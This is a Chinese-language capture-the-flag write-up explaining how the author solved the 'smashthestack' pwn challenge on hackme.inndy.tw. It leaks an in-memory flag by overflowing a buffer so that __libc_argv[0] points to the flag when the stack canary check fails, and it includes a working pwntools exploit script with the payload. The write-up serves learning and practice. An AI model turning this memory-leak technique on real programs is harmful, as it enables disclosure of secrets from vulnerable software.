https://hackme.inndy.tw/scoreboard/ 题目很有趣,我做了smashthestack这个题目感觉还不错,我把wp分享出来,方便大家学习
smashthestack的要求是:
nc hackme.inndy.tw 7717
Tips: stderr is available, beware of the output
这个题目提示利用错误输出
下面我用ida打开smashthestack这个程序看main函数
可以看到这个程序很简单,你输入一些东西如果不会造成缓冲区溢出的话就会把栈中的数据打印出来
先运行一下程序看一下这个程序干了啥
再看看程序开启了哪些保护:
看到NX enabled是开启了栈不可执行,而且这个程序还有canary保护,但是明显的是flag已经被读入了内存,在网上找到了dragonsector写的一个pdf:http://j00ru.vexillium.org/blog/24_03_15/dragons_ctf.pdf,知道了当__stack_check_fail时,会打印出正在运行中程序的名称,所以,我们只要将__libc_argv[0]覆盖为flag的地址就能将flag打印出来
首先找flag的地址,在程序的读完文件的地方下断点0x08048434
执行完read指令之后在ecx中发现flag的地址为:0x804a060
知道这样的地址之后,就可以写exp了
#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'
from pwn import *
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')
def debug(addr = '0x80484a5'):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
#fd:0x804a060
#io = process('/home/h11p/hackme/smash-the-stack')
io = remote('hackme.inndy.tw', 7717)
#payload = p32(0x804a060)+p32(0x120)
payload=p32(0x1)+"a"*184+p32(0x804a060)
#debug()
io.recvuntil('Try to read the flag\n')
io.send(payload)
io.recvall()
#io.interactive()
io.close()
效果是: